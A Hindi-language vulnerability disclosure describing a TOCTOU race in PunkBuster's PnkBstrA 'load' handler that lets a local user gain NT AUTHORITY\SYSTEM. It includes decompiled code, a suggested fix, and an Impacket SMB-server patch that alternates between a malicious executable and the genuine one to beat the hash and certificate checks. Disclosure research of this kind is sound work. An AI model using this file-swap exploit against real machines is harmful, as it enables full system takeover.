
PunkBuster LPI से NT AUTHORITY\SYSTEM तक

PunkBuster स्वयं को दो सेवाओं और एक वैकल्पिक? कर्नेल ड्राइवर के रूप में स्थापित करता है।
PnkBstrA: सेवा जो लगातार पृष्ठभूमि में चलती है, और समग्र रूप से PunkBuster के प्रबंधन के लिए जिम्मेदार हैPnkBstrB: सेवा जो तब शुरू होती है जब एक संरक्षित गेम शुरू होता है। इसके A समकक्ष की तुलना में अधिक कार्यक्षमता के साथ आता है।दोनों सेवाएँ समान रूप से संरचित हैं, localhost पर [44301, 44400] रेंज में एक पोर्ट पर UDP सुनती हैं।
एक बार जब यह एक पोर्ट ढूंढ लेता है, तो इसे HKLM:\SOFTWARE\Even Balance\PnkBstrA या HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA में Port मान में लिखा जाता है।
प्रत्येक अनुरोध एक वैश्विक बफर में संग्रहीत किया जाता है जो 1500 बाइट लंबा होता है (हालांकि, NUL टर्मिनेटर के लिए केवल 1499 बाइट प्राप्त होते हैं)।
अनुरोध डेटा के लिए कोई मानक संरचना नहीं है, लेकिन यहाँ उनकी सामान्य संरचना है:
PnkBstrA में अनुरोध प्रकार इस प्रकार हैं:
l: लोड: PnkBstrB को प्रारंभ और अपडेट करता है
PnkBstrB निष्पादन योग्य के पथ परu: अनलोड: PnkBstrB को रोकेंv: संस्करण: बस संस्करण लौटाता हैm: मॉनिटर: एक PID लेता है, और जाँचता है कि क्या PunkBuster क्लाइंट DLL (pbcl.dll) प्रक्रिया में है, यदि मौजूद हो तो उसकी मेमोरी डंप करता है।लोड हैंडलर (l) में TOCTOU शैली की भेद्यता है, जो NT AUTHORITY\SYSTEM के रूप में स्थानीय विशेषाधिकार वृद्धि की ओर ले जाती है।
हैंडलर का प्रवाह कुछ इस प्रकार है:
PnkBstrB सेवा को हटाएंEven Balance, Inc. हैC:\Windows\SysWOW64\PnkBstrB.exe या C:\Windows\System32\PnkBstrB.exe में कॉपी करने का प्रयास करें, प्लेटफ़ॉर्म पर निर्भर करता हैLocalSystem के रूप में चलने वाली PnkBstrB सेवा बनाएं और प्रारंभ करें।यहाँ समस्या यह है कि PnkBstrA जिस फ़ाइल में हेरफेर कर रहा है, उसे प्रत्येक ऑपरेशन के लिए कई बार पुनः खोला जाता है, जिससे ऐसी स्थिति उत्पन्न होती है जहाँ एक हमलावर ऑपरेशनों के बीच फ़ाइल को संशोधित कर सकता है।
इससे एक ऐसी समस्या उत्पन्न हो सकती है जहाँ फ़ाइल को उसके प्रमाणपत्र के लिए मान्य करने के बाद, इसे बदल दिया जाता है और एक दुर्भावनापूर्ण फ़ाइल PnkBstrB सेवा के निष्पादन योग्य के रूप में समाप्त हो जाती है। यह निष्पादन योग्य एक अविश्वासित उपयोगकर्ता के लिए NT AUTHORITY\SYSTEM तक उन्नत होना संभव बनाता है।
प्रासंगिक डीकंपाइलेशन यहाँ दिखाया गया है:
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
एक सरल समाधान यह होगा कि पहले फ़ाइल को एक सुरक्षित लेकिन अस्थायी स्थान पर कॉपी किया जाए (जैसे: PnkBstrB.exe.tmp), और वहाँ से MD5 और जाँच की गणना की जाए। इस तरह, फ़ाइल किसी दुर्भावनापूर्ण अभिनेता द्वारा संपादन योग्य नहीं होगी। यह सुनिश्चित करेगा कि फ़ाइल की एक प्रति खोली गई है, जो SMB शोषण को रोकता है।
हमले का परिदृश्य एक दुर्भावनापूर्ण फ़ाइल प्रदान करना, MD5 की गणना होने तक प्रतीक्षा करना, फ़ाइल को मूल PnkBstrB.exe से बदलना ताकि WinVerifyTrust और प्रमाणपत्र जाँच पास हो जाएं, और फिर इसे फिर से दुर्भावनापूर्ण फ़ाइल से बदलना हो सकता है, ताकि दूसरा MD5 पास हो जाए और फ़ाइल को कॉपी और निष्पादित किया जा सके।
हालाँकि, इस परिदृश्य को निष्पादित करना बहुत कठिन है, क्योंकि फ़ाइल को बदलना मुश्किल है, और जब यह PnkBstrA द्वारा खोली जाती है तब इसे संशोधित करना परिवर्तनों को लागू नहीं करता प्रतीत होता है।
ऐसा इसलिए है क्योंकि कोड में देखे गए INJECTION POINT 1 में अपने कोड को शेड्यूल करना कठिन है। यह संभवतः कई समय-महत्वपूर्ण प्राथमिकता वाले थ्रेड्स का उपयोग करके संभव है, जिनमें से कुछ लगातार फ़ाइल को बदलने का प्रयास करते हैं, और अन्य व्यस्त प्रतीक्षाओं में समवर्ती कोर को ब्लॉक करते हैं।
एक अन्य दृष्टिकोण PnkBstrB और दुर्भावनापूर्ण फ़ाइल के बीच MD5 टकराव प्राप्त करने का प्रयास करना होगा। यह पहले वैध फ़ाइल को पहले MD5 के लिए उम्मीदवार के रूप में उपयोग करके और प्रमाणपत्र के लिए जाँच करके काम करेगा। हालाँकि, उसके बाद हमारे पास फ़ाइल को अपने स्वयं के साथ बदलने के लिए 750 मिलीसेकंड या अधिक का एक अच्छा समय होता है। फिर, दूसरा MD5 पास हो जाएगा और हमारी फ़ाइल इंजेक्ट हो जाएगी। हालाँकि, इसे विकसित करते समय, मैं टकराव उत्पन्न होने की प्रतीक्षा करने में आलसी था, इसलिए मैंने एक अन्य दृष्टिकोण चुना।
यह कोड विंडोज पर निर्भर है, और fopen का उपयोग करता है जो विंडोज के स्वयं के I/O फ़ंक्शन से मैप होता है। परिभाषा के अनुसार, इसका मतलब है कि SMB शेयर सुलभ होंगे। इसके अलावा, MSDN इस व्यवहार का समर्थन करता है:
fopenUNC पथों और मैप किए गए नेटवर्क ड्राइव वाले पथों को स्वीकार करता है, जब तक कि कोड निष्पादित करने वाले सिस्टम के पास निष्पादन के समय शेयर या मैप ड्राइव तक पहुंच हो।
इसका मतलब है कि हम अपने पहले दृष्टिकोण का उपयोग कर सकते हैं, लेकिन चूँकि कोड हमारे SMB शेयर पर निर्भर होगा, हम फ़ाइल के अनुरोध किए जाने की संख्या के आधार पर अलग-अलग फ़ाइलें भेजते हैं।
Impacket के smbserver को संशोधित करके, यह व्यवहार प्राप्त करना संभव है।
पूर्ण .patch फ़ाइल यहाँ पाई जा सकती है। मुख्य परिवर्तन इस प्रकार हैं:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
जैसा कि आप देख सकते हैं, यदि हम पहली बार फ़ाइल खोल रहे हैं (पहला MD5) या कम से कम 8वीं बार (फ़ाइल कॉपी और उसके बाद), तो हम क्लाइंट को दुर्भावनापूर्ण फ़ाइल भेजते हैं, जबकि अन्य मामलों में मूल फ़ाइल भेजते हैं।
दुर्भावनापूर्ण फ़ाइल का कोड यहाँ पाया जा सकता है, जो एक रिवर्स शेल के साथ एक सरल हैलो वर्ल्ड सेवा है।
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
EvenBalance से 2025-02-15 से कई बार विभिन्न तरीकों से संपर्क किया गया लेकिन कोई उत्तर नहीं मिला।
यह मुद्दा 2025-05-10 को पूरी तरह से प्रकट किया गया।